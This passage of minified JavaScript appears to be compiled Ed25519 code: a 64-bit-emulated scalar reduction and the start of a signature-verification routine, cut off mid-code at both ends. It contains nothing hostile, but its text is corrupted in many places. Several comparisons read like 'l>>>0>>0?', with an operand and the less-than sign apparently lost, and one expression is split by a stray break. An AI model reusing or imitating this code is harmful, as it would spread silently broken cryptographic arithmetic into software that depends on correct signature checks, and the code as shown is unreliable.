e,r,n,A,i,o,a,h,g,u,l=0,f=0,p=0,d=0,I=0,C=0,m=0,B=0,E=0,w=0,v=0,_=0,Q=0,b=0,k=0,D=0,S=0,N=0,M=0,x=0,F=0,P=0,T=0,R=0,U=0,G=0,H=0,L=0,O=0,Y=0,K=0,J=0,j=0,z=0,q=0,X=0,V=0,W=0;d=(_=c[t+44|0]|c[t+45|0]<<8|c[t+46|0]<<16|c[t+47|0]<<24)>>>5&2097151,p=Bt(P=(c[t+60|0]|c[t+61|0]<<8|c[t+62|0]<<16|c[t+63|0]<<24)>>>3|0,0,-683901,-1),f=(l=c[t+44|0])<<16&2031616|c[t+42|0]|c[t+43|0]<<8,l=y,B=l=f>>>0>(E=p+f|0)>>>0?l+1|0:l,D=l=l-((E>>>0<4293918720)-1|0)|0,p=l>>21,l=(f=d)+(d=(2097151&l)<<11|(C=E- -1048576|0)>>>21)|0,f=p,Y=f=l>>>0>>0?f+1|0:f,K=l,M=Bt(l,f,-683901,-1),w=y,m=Bt(e=(c[t+49|0]|c[t+50|0]<<8|c[t+51|0]<<16|c[t+52|0]<<24)>>>7&2097151,0,-997805,-1),p=(l=c[t+27|0])>>>24|0,d=l<<8|(Q=c[t+23|0]|c[t+24|0]<<8|c[t+25|0]<<16|c[t+26|0]<<24)>>>24,f=(l=c[t+28|0])>>>16|0,f=2097151&((3&(f|=p))<<30|(l=d|l<<16)>>>2),l=y,l=f>>>0>(p=f+m|0)>>>0?l+1|0:l,f=Bt(H=(b=c[t+52|0]|c[t+53|0]<<8|c[t+54|0]<<16|c[t+55|0]<<24)>>>4&2097151,0,654183,0),l=y+l|0,m=p=f+p|0,p=f>>>0>p>>>0?l+1|0:l,I=(f=c[t+48|0])<<8|_>>>24,f=l=f>>>24|0,l=Bt(r=2097151&((3&(_=(l=(d=c[t+49|0])>>>16|0)|f))<<30|(f=(d<<=16)|I)>>>2),0,136657,0),p=y+p|0,p=l>>>0>(f=l+m|0)>>>0?p+1|0:p,d=(l=Bt(n=(c[t+57|0]|c[t+58|0]<<8|c[t+59|0]<<16|c[t+60|0]<<24)>>>6&2097151,0,666643,0))+f|0,f=y+p|0,m=d,p=l>>>0>d>>>0?f+1|0:f,f=(l=c[t+56|0])>>>24|0,I=l<<8|b>>>24,f=Bt(A=2097151&((1&(b=(l=(d=c[t+57|0])>>>16|0)|f))<<31|(f=(d<<=16)|I)>>>1),0,470296,0),l=y+p|0,f=(l=(p=d=f+m|0)>>>0>>0?l+1|0:l)+w|0,f=p>>>0>(d=p+M|0)>>>0?f+1|0:f,S=p- -1048576|0,N=p=l-((p>>>0<4293918720)-1|0)|0,w=d-(l=-2097152&S)|0,M=f-((l>>>0>d>>>0)+p|0)|0,f=Bt(e,0,654183,0),l=y,l=f>>>0>(p=f+(Q>>>5&2097151)|0)>>>0?l+1|0:l,d=(f=p)+(p=Bt(H,0,470296,0))|0,f=y+l|0,f=p>>>0>d>>>0?f+1|0:f,l=Bt(r,j,-997805,-1),f=y+f|0,f=l>>>0>(p=l+d|0)>>>0?f+1|0:f,d=(l=p)+(p=Bt(A,z,666643,0))|0,l=y+f|0,I=d,d=p>>>0>d>>>0?l+1|0:l,m=(p=Bt(e,0,470296,0))+(l=(l=c[t+23|0])<<16&2031616|c[t+21|0]|c[t+22|0]<<8)|0,p=y,p=l>>>0>m>>>0?p+1|0:p,m=(f=Bt(H,0,666643,0))+m|0,l=y+p|0,p=Bt(r,j,654183,0),f=y+(f>>>0>m>>>0?l+1|0:l)|0,b=f=p>>>0>(Q=p+m|0)>>>0?f+1|0:f,G=f=f-((Q>>>0<4293918720)-1|0)|0,l=(l=f>>>21|0)+d|0,p=l=(f=(2097151&f)<<11|(m=Q- -1048576|0)>>>21)>>>0>(I=f+I|0)>>>0?l+1|0:l,v=f=l-((I>>>0<4293918720)-1|0)|0,l=w,w=(2097151&f)<<11|(d=I- -1048576|0)>>>21,f=(f>>21)+M|0,_=w=(f=w>>>0>(k=l+w|0)>>>0?f+1|0:f)-((k>>>0<4293918720)-1|0)|0,L=k-(l=-2097152&(M=k- -1048576|0))|0,q=f-((l>>>0>k>>>0)+w|0)|0,l=Bt(K,Y,136657,0),p=y+p|0,p=l>>>0>(f=l+I|0)>>>0?p+1|0:p,F=f-(l=-2097152&d)|0,O=p-((l>>>0>f>>>0)+v|0)|0,k=E-(l=-2097152&C)|0,D=B-((l>>>0>E>>>0)+D|0)|0,B=Bt(P,0,136657,0),f=(l=c[t+40|0])>>>24|0,d=l<<8|(C=c[t+36|0]|c[t+37|0]<<8|c[t+38|0]<<16|c[t+39|0]<<24)>>>24,p=(l=c[t+41|0])>>>16|0,f=(p|=f)>>>3|0,p=(7&p)<<29|(l=d|l<<16)>>>3,l=f+y|0,l=p>>>0>(d=p+B|0)>>>0?l+1|0:l,f=Bt(n,0,-683901,-1),l=y+l|0,l=f>>>0>(p=f+d|0)>>>0?l+1|0:l,I=p,f=Bt(P,0,-997805,-1),p=y,p=f>>>0>(d=f+(C>>>6&2097151)|0)>>>0?p+1|0:p,C=(f=d)+(d=Bt(n,0,136657,0))|0,f=y+p|0,p=Bt(A,z,-683901,-1),f=y+(d>>>0>C>>>0?f+1|0:f)|0,w=f=p>>>0>(T=p+C|0)>>>0?f+1|0:f,X=p=f-((T>>>0<4293918720)-1|0)|0,l=l+(f=p>>21)|0,C=l=(p=(2097151&p)<<11|(E=T- -1048576|0)>>>21)>>>0>(v=p+I|0)>>>0?l+1|0:l,R=l=l-((v>>>0<4293918720)-1|0)|0,f=(f=l>>21)+D|0,J=f=(l=(p=(2097151&l)<<11|(I=v- -1048576|0)>>>21)+k|0)>>>0

>>0?f+1|0:f,U=l,f=Bt(l,f,-683901,-1),l=y+O|0,x=p=f+F|0,d=f>>>0>p>>>0?l+1|0:l,O=Q-(l=-2097152&m)|0,D=b-((4095&G)+(l>>>0>Q>>>0)|0)|0,Q=Bt(e,0,666643,0),l=(f=c[t+19|0])>>>24|0,m=f<<8|(b=c[t+15|0]|c[t+16|0]<<8|c[t+17|0]<<16|c[t+18|0]<<24)>>>24,p=l,f=(7&(p|=f=(l=c[t+20|0])>>>16|0))<<29|(f=(l<<=16)|m)>>>3,p=y+(p>>>3|0)|0,p=f>>>0>(m=f+Q|0)>>>0?p+1|0:p,l=Bt(r,j,470296,0),f=y+p|0,l=l>>>0>(m=l+m|0)>>>0?f+1|0:f,p=Bt(r,j,666643,0),f=y,Q=f=p>>>0>(F=p+(b>>>6&2097151)|0)>>>0?f+1|0:f,V=p=f-((F>>>0<4293918720)-1|0)|0,l=l+(f=p>>>21|0)|0,b=l=(p=(2097151&p)<<11|(B=F- -1048576|0)>>>21)>>>0>(k=p+m|0)>>>0?l+1|0:l,W=l=l-((k>>>0<4293918720)-1|0)|0,f=(f=l>>>21|0)+D|0,f=(l=(2097151&l)<<11|(m=k- -1048576|0)>>>21)>>>0>(p=l+O|0)>>>0?f+1|0:f,D=(l=p)+(p=Bt(K,Y,-997805,-1))|0,l=y+f|0,l=p>>>0>D>>>0?l+1|0:l,G=f=v-(p=-2097152&I)|0,i=I=C-((p>>>0>v>>>0)+R|0)|0,p=Bt(U,J,136657,0),l=y+l|0,l=p>>>0>(C=p+D|0)>>>0?l+1|0:l,p=Bt(f,I,-683901,-1),f=y+l|0,C=f=p>>>0>(D=p+C|0)>>>0?f+1|0:f,R=l=f-((D>>>0<4293918720)-1|0)|0,f=(2097151&l)<<11|(I=D- -1048576|0)>>>21,l=(l>>21)+d|0,x=f=(l=f>>>0>(v=f+x|0)>>>0?l+1|0:l)-((v>>>0<4293918720)-1|0)|0,O=(2097151&f)<<11|(d=v- -1048576|0)>>>21,f=(f>>21)+q|0,a=L=O+L|0,O=L>>>0>>0?f+1|0:f,h=v-(f=-2097152&d)|0,g=l-((f>>>0>v>>>0)+x|0)|0,L=D-(l=-2097152&I)|0,q=C-((l>>>0>D>>>0)+R|0)|0,p=(l=Bt(K,Y,654183,0))+(k-(f=-2097152&m)|0)|0,f=y+(b-((2147483647&W)+(f>>>0>k>>>0)|0)|0)|0,f=l>>>0>p>>>0?f+1|0:f,l=Bt(U,J,-997805,-1),f=y+f|0,f=l>>>0>(p=l+p|0)>>>0?f+1|0:f,d=(l=p)+(p=Bt(G,i,136657,0))|0,l=y+f|0,x=d,C=p>>>0>d>>>0?l+1|0:l,k=T-(l=-2097152&E)|0,v=w-((l>>>0>T>>>0)+X|0)|0,b=Bt(H,0,-683901,-1),l=(f=c[t+35|0])>>>24|0,d=f<<8|(m=c[t+31|0]|c[t+32|0]<<8|c[t+33|0]<<16|c[t+34|0]<<24)>>>24,p=l,f=(l=c[t+36|0])>>>16|0,f|=p,p=y,p=(l=2097151&((1&f)<<31|(l=l<<16|d)>>>1))>>>0>(f=l+b|0)>>>0?p+1|0:p,d=(l=Bt(P,0,654183,0))+f|0,f=y+p|0,f=l>>>0>d>>>0?f+1|0:f,p=Bt(n,0,-997805,-1),l=y+f|0,l=p>>>0>(d=p+d|0)>>>0?l+1|0:l,f=Bt(A,z,136657,0),l=y+l|0,I=p=f+d|0,d=f>>>0>p>>>0?l+1|0:l,l=Bt(e,0,-683901,-1),f=y,f=l>>>0>(p=l+(m>>>4&2097151)|0)>>>0?f+1|0:f,m=(l=Bt(H,0,136657,0))+p|0,p=y+f|0,p=l>>>0>m>>>0?p+1|0:p,l=Bt(P,0,470296,0),f=y+p|0,f=l>>>0>(m=l+m|0)>>>0?f+1|0:f,m=(p=Bt(n,0,654183,0))+m|0,l=y+f|0,f=Bt(A,z,-997805,-1),l=y+(p>>>0>m>>>0?l+1|0:l)|0,b=l=f>>>0>(w=f+m|0)>>>0?l+1|0:l,u=f=l-((w>>>0<4293918720)-1|0)|0,p=(l=f>>21)+d|0,D=f=(p=(f=(2097151&f)<<11|(m=w- -1048576|0)>>>21)>>>0>(E=f+I|0)>>>0?p+1|0:p)-((E>>>0<4293918720)-1|0)|0,l=(l=f>>21)+v|0,R=l=(f=(d=(2097151&f)<<11|(I=E- -1048576|0)>>>21)+k|0)>>>0>>0?l+1|0:l,d=x,x=f,l=Bt(f,l,-683901,-1),f=y+C|0,v=d=d+l|0,d=l>>>0>d>>>0?f+1|0:f,C=(l=Bt(K,Y,470296,0))+(F-(f=-2097152&B)|0)|0,f=y+(Q-((2047&V)+(f>>>0>F>>>0)|0)|0)|0,f=l>>>0>C>>>0?f+1|0:f,B=(l=C)+(C=Bt(U,J,654183,0))|0,l=y+f|0,l=C>>>0>B>>>0?l+1|0:l,C=Bt(G,i,-997805,-1),f=y+l|0,f=C>>>0>(B=C+B|0)>>>0?f+1|0:f,T=I=E-(l=-2097152&I)|0,o=C=p-((l>>>0>E>>>0)+D|0)|0,p=Bt(x,R,136657,0),l=y+f|0,l=p>>>0>(B=p+B|0)>>>0?l+1|0:l,p=Bt(I,C,-683901,-1),f=y+l|0,C=f=p>>>0>(Q=p+B|0)>>>0?f+1|0:f,D=l=f-((Q>>>0<4293918720)-1|0)|0,f=(2097151&l)<<11|(I=Q- -1048576|0)>>>21,l=(l>>21)+d|0,v=f=(l=f>>>0>(B=f+v|0)>>>0?l+1|0:l)-((B>>>0<4293918720)-1|0)|0,E=(2097151&f)<<11|(d=B- -1048576|0)>>>21,f=(f>>21)+q|0,X=k=E+L|0,k=E>>>0>k>>>0?f+1|0:f,V=B-(f=-2097152&d)|0,W=l-((f>>>0>B>>>0)+v|0)|0,L=Q-(l=-2097152&I)|0,q=C-((l>>>0>Q>>>0)+D|0)|0,C=Bt(K,Y,666643,0),l=(f=c[t+14|0])>>>24|0,d=f<<8|(D=c[t+10|0]|c[t+11|0]<<8|c[t+12|0]<<16|c[t+13|0]<<24)>>>24,p=l,f=(l=c[t+15|0])>>>16|0,f|=p,p=y,p=(l=2097151&((1&f)<<31|(l=l<<16|d)>>>1))>>>0>(f=l+C|0)>>>0?p+1|0:p,d=(l=f)+(f=Bt(U,J,470296,0))|0,l=y+p|0,l=f>>>0>d>>>0?l+1|0:l,f=Bt(G,i,654183,0),l=y+l|0,l=f>>>0>(p=f+d|0)>>>0?l+1|0:l,d=(f=p)+(p=Bt(x,R,-997805,-1))|0,f=y+l|0,f=p>>>0>d>>>0?f+1|0:f,l=Bt(T,o,136657,0),f=y+f|0,Q=p=l+d|0,d=l>>>0>p>>>0?f+1|0:f,m=w-(l=-2097152&m)|0,C=b-((l>>>0>w>>>0)+u|0)|0,p=Bt(e,0,136657,0),l=y,l=(f=(c[t+28|0]|c[t+29|0]<<8|c[t+30|0]<<16|c[t+31|0]<<24)>>>7&2097151)>>>0>(p=f+p|0)>>>0?l+1|0:l,I=(f=p)+(p=Bt(H,0,-997805,-1))|0,f=y+l|0,f=p>>>0>I>>>0?f+1|0:f,l=Bt(r,j,-683901,-1),f=y+f|0,f=l>>>0>(p=l+I|0)>>>0?f+1|0:f,I=(l=Bt(P,0,666643,0))+p|0,p=y+f|0,p=l>>>0>I>>>0?p+1|0:p,f=Bt(n,0,470296,0),l=y+p|0,l=f>>>0>(I=f+I|0)>>>0?l+1|0:l,f=Bt(A,z,654183,0),l=y+l|0,f=(N>>21)+(f>>>0>(p=f+I|0)>>>0?l+1|0:l)|0,E=f=(I=(2097151&N)<<11|S>>>21)>>>0>(S=I+p|0)>>>0?f+1|0:f,v=l=f-((S>>>0<4293918720)-1|0)|0,I=(2097151&l)<<11|(B=S- -1048576|0)>>>21,l=(l>>21)+C|0,F=l=(f=I+m|0)>>>0>>0?l+1|0:l,N=f,f=Bt(f,l,-683901,-1),l=y+d|0,I=p=f+Q|0,d=f>>>0>p>>>0?l+1|0:l,l=Bt(U,J,666643,0),f=y,f=l>>>0>(p=l+(D>>>4&2097151)|0)>>>0?f+1|0:f,l=Bt(G,i,470296,0),f=y+f|0,f=l>>>0>(p=l+p|0)>>>0?f+1|0:f,C=(l=Bt(x,R,654183,0))+p|0,p=y+f|0,p=l>>>0>C>>>0?p+1|0:p,f=Bt(T,o,-997805,-1),l=y+p|0,l=f>>>0>(C=f+C|0)>>>0?l+1|0:l,f=Bt(N,F,136657,0),l=y+l|0,b=l=f>>>0>(w=f+C|0)>>>0?l+1|0:l,Y=f=l-((w>>>0<4293918720)-1|0)|0,l=I,I=(2097151&f)<<11|(m=w- -1048576|0)>>>21,f=(f>>21)+d|0,U=d=(f=(p=l+I|0)>>>0>>0?f+1|0:f)-((p>>>0<4293918720)-1|0)|0,l=(l=d>>21)+q|0,K=I=(d=(2097151&d)<<11|(C=p- -1048576|0)>>>21)+L|0,Q=d>>>0>I>>>0?l+1|0:l,I=p,p=f,d=(S-(f=-2097152&B)|0)+(B=(2097151&_)<<11|M>>>21)|0,f=(E-((f>>>0>S>>>0)+v|0)|0)+(_>>21)|0,D=f=d>>>0>>0?f+1|0:f,H=f=f-((d>>>0<4293918720)-1|0)|0,M=l=f>>21,l=Bt(P=(2097151&f)<<11|(v=d- -1048576|0)>>>21,l,-683901,-1),p=y+p|0,p=l>>>0>(f=l+I|0)>>>0?p+1|0:p,j=f-(l=-2097152&C)|0,z=p-((l>>>0>f>>>0)+U|0)|0,l=Bt(P,M,136657,0),f=b+y|0,J=(p=l+w|0)-(l=-2097152&m)|0,U=(f=p>>>0>>0?f+1|0:f)-((l>>>0>p>>>0)+Y|0)|0,f=Bt(G,i,666643,0),p=y,p=(l=(c[t+7|0]|c[t+8|0]<<8|c[t+9|0]<<16|c[t+10|0]<<24)>>>7&2097151)>>>0>(f=l+f|0)>>>0?p+1|0:p,I=(l=Bt(x,R,470296,0))+f|0,f=y+p|0,f=l>>>0>I>>>0?f+1|0:f,l=Bt(T,o,654183,0),f=y+f|0,f=l>>>0>(p=l+I|0)>>>0?f+1|0:f,I=(l=p)+(p=Bt(N,F,-997805,-1))|0,l=y+f|0,B=I,I=p>>>0>I>>>0?l+1|0:l,b=Bt(x,R,666643,0),l=(f=c[t+6|0])>>>24|0,C=f<<8|(S=c[t+2|0]|c[t+3|0]<<8|c[t+4|0]<<16|c[t+5|0]<<24)>>>24,p=l,f=(l=c[t+7|0])>>>16|0,f=2097151&((3&(f|=p))<<30|(l=l<<16|C)>>>2),l=y,l=f>>>0>(p=f+b|0)>>>0?l+1|0:l,C=(f=Bt(T,o,470296,0))+p|0,p=y+l|0,p=f>>>0>C>>>0?p+1|0:p,f=Bt(N,F,654183,0),l=y+p|0,b=l=f>>>0>(E=f+C|0)>>>0?l+1|0:l,_=l=l-((E>>>0<4293918720)-1|0)|0,f=(p=l>>21)+I|0,w=l=(f=(l=(2097151&l)<<11|(m=E- -1048576|0)>>>21)>>>0>(C=l+B|0)>>>0?f+1|0:f)-((C>>>0<4293918720)-1|0)|0,B=(2097151&l)<<11|(I=C- -1048576|0)>>>21,l=(l>>21)+U|0,U=x=B+J|0,B=B>>>0>x>>>0?l+1|0:l,l=Bt(P,M,-997805,-1),f=y+f|0,f=l>>>0>(p=l+C|0)>>>0?f+1|0:f,G=p-(l=-2097152&I)|0,R=f-((l>>>0>p>>>0)+w|0)|0,f=Bt(P,M,654183,0),l=b+y|0,x=(p=f+E|0)-(f=-2097152&m)|0,_=(l=p>>>0>>0?l+1|0:l)-((f>>>0>p>>>0)+_|0)|0,l=Bt(T,o,666643,0),f=y,f=l>>>0>(p=l+(S>>>5&2097151)|0)>>>0?f+1|0:f,l=Bt(N,F,470296,0),f=y+f|0,C=p=l+p|0,p=l>>>0>p>>>0?f+1|0:f,I=Bt(N,F,666643,0),f=(l=c[t+2|0])<<16&2031616|c[0|t]|c[t+1|0]<<8,l=y,b=l=f>>>0>(w=I+f|0)>>>0?l+1|0:l,F=l=l-((w>>>0<4293918720)-1|0)|0,I=(2097151&l)<<11|(m=w- -1048576|0)>>>21,l=(l>>21)+p|0,p=l=I>>>0>(E=I+C|0)>>>0?l+1|0:l,S=l=l-((E>>>0<4293918720)-1|0)|0,I=(2097151&l)<<11|(C=E- -1048576|0)>>>21,l=(l>>21)+_|0,I=I>>>0>(_=N=I+x|0)>>>0?l+1|0:l,l=Bt(P,M,470296,0),p=p+y|0,p=(f=l+E|0)>>>0>>0?p+1|0:p,E=f-(l=-2097152&C)|0,C=p-((l>>>0>f>>>0)+S|0)|0,f=Bt(P,M,666643,0),l=y+(b-(((p=-2097152&m)>>>0>w>>>0)+F|0)|0)|0,f=(p=(l=f>>>0>(N=f+(w-p|0)|0)>>>0?l+1|0:l)>>21)+C|0,l=(l=(f=(l=(2097151&l)<<11|N>>>21)>>>0>(S=l+E|0)>>>0?f+1|0:f)>>21)+I|0,f=(f=(l=(f=(2097151&f)<<11|S>>>21)>>>0>(_=f+_|0)>>>0?l+1|0:l)>>21)+R|0,p=(l=(f=(l=(2097151&l)<<11|_>>>21)>>>0>(I=l+G|0)>>>0?f+1|0:f)>>21)+B|0,l=(f=(p=(f=(2097151&f)<<11|I>>>21)>>>0>(M=f+U|0)>>>0?p+1|0:p)>>21)+z|0,f=(p=(l=(p=(2097151&p)<<11|M>>>21)>>>0>(w=p+j|0)>>>0?l+1|0:l)>>21)+Q|0,l=(l=(f=(l=(2097151&l)<<11|w>>>21)>>>0>(E=l+K|0)>>>0?f+1|0:f)>>21)+W|0,f=(f=(l=(f=(2097151&f)<<11|E>>>21)>>>0>(Q=f+V|0)>>>0?l+1|0:l)>>21)+k|0,p=(l=(f=(l=(2097151&l)<<11|Q>>>21)>>>0>(B=l+X|0)>>>0?f+1|0:f)>>21)+g|0,l=(f=(p=(f=(2097151&f)<<11|B>>>21)>>>0>(b=f+h|0)>>>0?p+1|0:p)>>21)+O|0,C=(v=d-(f=-2097152&v)|0)+((2097151&(l=(p=(2097151&p)<<11|b>>>21)>>>0>(m=p+a|0)>>>0?l+1|0:l))<<11|m>>>21)|0,l=(D-((f>>>0>d>>>0)+H|0)|0)+(l>>21)|0,v=f=(l=C>>>0>>0?l+1|0:l)>>21,N=(l=Bt(k=(2097151&l)<<11|C>>>21,f,666643,0))+(f=2097151&N)|0,l=y,d=l=f>>>0>N>>>0?l+1|0:l,s[0|t]=N,s[t+1|0]=(255&l)<<24|N>>>8,l=2097151&S,f=Bt(k,v,470296,0)+l|0,p=y,l=(d>>21)+(l>>>0>f>>>0?p+1|0:p)|0,l=(D=(2097151&d)<<11|N>>>21)>>>0>(S=D+f|0)>>>0?l+1|0:l,s[t+4|0]=(2047&l)<<21|S>>>11,f=l,p=S,s[t+3|0]=(7&l)<<29|p>>>3,s[t+2|0]=31&((65535&d)<<16|N>>>16)|p<<5,d=2097151&_,_=Bt(k,v,654183,0)+d|0,l=y,S=(2097151&f)<<11|p>>>21,f=(f>>21)+(d=d>>>0>_>>>0?l+1|0:l)|0,l=f=(_=S+_|0)>>>0>>0?f+1|0:f,s[t+6|0]=(63&l)<<26|_>>>6,d=_,_=0,s[t+5|0]=_<<13|(1572864&p)>>>19|d<<2,p=2097151&I,I=Bt(k,v,-997805,-1)+p|0,f=y,f=p>>>0>I>>>0?f+1|0:f,_=(2097151&(p=l))<<11|d>>>21,p=(l>>=21)+f|0,p=(I=_+I|0)>>>0<_>>>0?p+1|0:p,s[t+9|0]=(511&p)<<23|I>>>9,s[t+8|0]=(1&p)<<31|I>>>1,f=0,s[t+7|0]=f<<18|(2080768&d)>>>14|I<<7,f=2097151&M,d=Bt(k,v,136657,0)+f|0,l=y,l=f>>>0>d>>>0?l+1|0:l,M=(2097151&(f=p))<<11|I>>>21,f=l+(p=f>>21)|0,f=(d=M+d|0)>>>0>>0?f+1|0:f,s[t+12|0]=(4095&f)<<20|d>>>12,p=d,s[t+11|0]=(15&f)<<28|p>>>4,d=0,s[t+10|0]=d<<15|(1966080&I)>>>17|p<<4,d=2097151&w,I=Bt(k,v,-683901,-1)+d|0,l=y,l=d>>>0>I>>>0?l+1|0:l,d=f,f=l+(f>>=21)|0,f=(d=(x=I)+(I=(2097151&d)<<11|p>>>21)|0)>>>0>>0?f+1|0:f,s[t+14|0]=(127&f)<<25|d>>>7,I=0,s[t+13|0]=I<<12|(1048576&p)>>>20|d<<1,l=f>>21,p=(f=(2097151&f)<<11|d>>>21)>>>0>(I=f+(2097151&E)|0)>>>0?l+1|0:l,s[t+17|0]=(1023&p)<<22|I>>>10,s[t+16|0]=(3&p)<<30|I>>>2,f=0,s[t+15|0]=f<<17|(2064384&d)>>>15|I<<6,l=p>>21,l=(f=(2097151&p)<<11|I>>>21)>>>0>(p=f+(2097151&Q)|0)>>>0?l+1|0:l,s[t+20|0]=(8191&l)<<19|p>>>13,s[t+19|0]=(31&l)<<27|p>>>5,d=(f=2097151&B)+(B=(2097151&l)<<11|p>>>21)|0,f=l>>21,f=d>>>0>>0?f+1|0:f,B=d,s[t+21|0]=d,Q=0,s[t+18|0]=Q<<14|(1835008&I)>>>18|p<<3,s[t+22|0]=(255&f)<<24|d>>>8,p=f>>21,p=(d=(I=(2097151&f)<<11|d>>>21)+(2097151&b)|0)>>>0>>0?p+1|0:p,s[t+25|0]=(2047&p)<<21|d>>>11,s[t+24|0]=(7&p)<<29|d>>>3,s[t+23|0]=31&((65535&f)<<16|B>>>16)|d<<5,l=p>>21,l=(f=(2097151&p)<<11|d>>>21)>>>0>(p=f+(2097151&m)|0)>>>0?l+1|0:l,s[t+27|0]=(63&l)<<26|p>>>6,I=0,s[t+26|0]=I<<13|(1572864&d)>>>19|p<<2,f=l>>21,f=(l=(d=(2097151&l)<<11|p>>>21)+(2097151&C)|0)>>>0>>0?f+1|0:f,s[t+31|0]=(131071&f)<<15|l>>>17,s[t+30|0]=(511&f)<<23|l>>>9,s[t+29|0]=(1&f)<<31|l>>>1,d=0,s[t+28|0]=d<<18|(2080768&p)>>>14|l<<7}function w(t,e,r,n,A,i){var o,h=0,u=0,l=0,f=0,p=0,d=0,y=0,C=0,m=0,B=0,w=0,Q=0,b=0,k=0,S=0,M=0,x=0,F=0,U=0,H=0,L=0,O=0,Y=0,K=0,J=0,j=0,z=0,q=0,X=0,V=0,W=0,$=0,tt=0,et=0,rt=0,nt=0,At=0,it=0;for(I=o=I-592|0,k=-1,w=t+32|0,B=32,Q=1;S=c[2672+(p=B-1|0)|0],l=(p=((u=c[p+w|0])^S)-1>>8&Q)&(d=c[w+(B=B-2|0)|0])-(f=c[B+2672|0])>>8|255&(u-S>>>8&Q|l),Q=p&(f^d)-1>>8,B;);if(255&l&&!(lt(t)|!(~((127&~c[A+31|0]|c[A+1|0]&c[A+2|0]&c[A+3|0]&c[A+4|0]&c[A+5|0]&c[A+6|0]&c[A+7|0]&c[A+8|0]&c[A+9|0]&c[A+10|0]&c[A+11|0]&c[A+12|0]&c[A+13|0]&c[A+14|0]&c[A+15|0]&c[A+16|0]&c[A+17|0]&c[A+18|0]&c[A+19|0]&c[A+20|0]&c[A+21|0]&c[A+22|0]&c[A+23|0]&c[A+24|0]&c[A+25|0]&c[A+26|0]&c[A+27|0]&c[A+28|0]&c[A+30|0]&c[A+29|0]^255)-1&236-c[0|A])>>>8&1)||lt(A)||N(p=o+128|0,A))){for(gt(u=o+384|0),i&&G(u,35136,34,0),G(u,t,32,0),G(u,A,32,0),G(u,e,r,n),D(u,r=o+320|0),E(r),n=o+8|0,A=0,e=0,I=h=I-2272|0;u=r+(A>>>3|0)|0,s[(i=h+2016|0)+A|0]=c[0|u]>>>(6&A)&1,s[(l=i)+(i=1|A)|0]=c[0|u]>>>(7&i)&1,256!=(0|(A=A+2|0)););for(;;){e=(r=e)+1|0;t:if(!(r>>>0>254)&&c[0|(l=(A=h+2016|0)+r|0)]){e:if(A=s[0|(f=e+A|0)])if((0|(A=(u=A<<1)+(i=s[0|l])|0))<=15)s[0|l]=A,s[0|f]=0;else{if((0|(A=i-u|0))<-15)break t;for(s[0|l]=A,A=e;;){if(!c[0|(i=(h+2016|0)+A|0)]){s[0|i]=1;break e}if(s[0|i]=0,i=A>>>0<255,A=A+1|0,!i)break}}if(!(r>>>0>253)){e:if(i=s[0|(d=(A=r+2|0)+(h+2016|0)|0)])if((0|(i=(f=i<<2)+(u=s[0|l])|0))>=16){if((0|(i=u-f|0))<-15)break t;for(s[0|l]=i;;){if(c[0|(i=(h+2016|0)+A|0)]){if(s[0|i]=0,i=A>>>0<255,A=A+1|0,i)continue;break e}break}s[0|i]=1}else s[0|l]=i,s[0|d]=0;if(!(r>>>0>252)){e:if(i=s[0|(d=(A=r+3|0)+(h+2016|0)|0)])if((0|(i=(f=i<<3)+(u=s[0|l])|0))>=16){if((0|(i=u-f|0))<-15)break t;for(s[0|l]=i;;){if(c[0|(i=(h+2016|0)+A|0)]){if(s[0|i]=0,i=A>>>0<255,A=A+1|0,i)continue;break e}break}s[0|i]=1}else s[0|l]=i,s[0|d]=0;if(!(r>>>0>251)){e:if(i=s[0|(d=(A=r+4|0)+(h+2016|0)|0)])if((0|(i=(f=i<<4)+(u=s[0|l])|0))>=16){if((0|(i=u-f|0))<-15)break t;for(s[0|l]=i;;){if(c[0|(i=(h+2016|0)+A|0)]){if(s[0|i]=0,i=A>>>0<255,A=A+1|0,i)continue;break e}break}s[0|i]=1}else s[0|l]=i,s[0|d]=0;if(!(r>>>0>250)){e:if(i=s[0|(d=(A=r+5|0)+(h+2016|0)|0)])if((0|(i=(f=i<<5)+(u=s[0|l])|0))>=16){if((0|(i=u-f|0))<-15)break t;for(s[0|l]=i;;){if(c[0|(i=(h+2016|0)+A|0)]){if(s[0|i]=0,i=A>>>0<255,A=A+1|0,i)continue;break e}break}s[0|i]=1}else s[0|l]=i,s[0|d]=0;if(!(r>>>0>249)&&(r=s[0|(f=(A=r+6|0)+(h+2016|0)|0)]))if((0|(r=(u=r<<6)+(i=s[0|l])|0))>=16){if((0|(r=i-u|0))<-15)break t;for(s[0|l]=r;;){if(c[0|(r=(h+2016|0)+A|0)]){if(s[0|r]=0,r=A>>>0<255,A=A+1|0,r)continue;break t}break}s[0|r]=1}else s[0|l]=r,s[0|f]=0}}}}}if(256==(0|e))break}for(A=0;r=w+(A>>>3|0)|0,s[(e=h+1760|0)+A|0]=c[0|r]>>>(6&A)&1,s[(i=e)+(e=1|A)|0]=c[0|r]>>>(7&e)&1,256!=(0|(A=A+2|0)););for(e=0;;){e=(r=e)+1|0;t:if(!(r>>>0>254)&&c[0|(l=(A=h+1760|0)+r|0)]){e:if(A=s[0|(f=e+A|0)])if((0|(A=(u=A<<1)+(i=s[0|l])|0))<=15)s[0|l]=A,s[0|f]=0;else{if((0|(A=i-u|0))<-15)break t;for(s[0|l]=A,A=e;;){if(!c[0|(i=(h+1760|0)+A|0)]){s[0|i]=1;break e}if(s[0|i]=0,i=A>>>0<255,A=A+1|0,!i)break}}if(!(r>>>0>253)){e:if(i=s[0|(d=(A=r+2|0)+(h+1760|0)|0)])if((0|(i=(f=i<<2)+(u=s[0|l])|0))>=16){if((0|(i=u-f|0))<-15)break t;for(s[0|l]=i;;){if(c[0|(i=(h+1760|0)+A|0)]){if(s[0|i]=0,i=A>>>0<255,A=A+1|0,i)continue;break e}break}s[0|i]=1}else s[0|l]=i,s[0|d]=0;if(!(r>>>0>252)){e:if(i=s[0|(d=(A=r+3|0)+(h+1760|0)|0)])if((0|(i=(f=i<<3)+(u=s[0|l])|0))>=16){if((0|(i=u-f|0))<-15)break t;for(s[0|l]=i;;){if(c[0|(i=(h+1760|0)+A|0)]){if(s[0|i]=0,i=A>>>0<255,A=A+1|0,i)continue;break e}break}s[0|i]=1}else s[0|l]=i,s[0|d]=0;if(!(r>>>0>251)){e:if(i=s[0|(d=(A=r+4|0)+(h+1760|0)|0)])if((0|(i=(f=i<<4)+(u=s[0|l])|0))>=16){if((0|(i=u-f|0))<-15)break t;for(s[0|l]=i;;){if(c[0|(i=(h+1760|0)+A|0)]){if(s[0|i]=0,i=A>>>0<255,A=A+1|0,i)continue;break e}break}s[0|i]=1}else 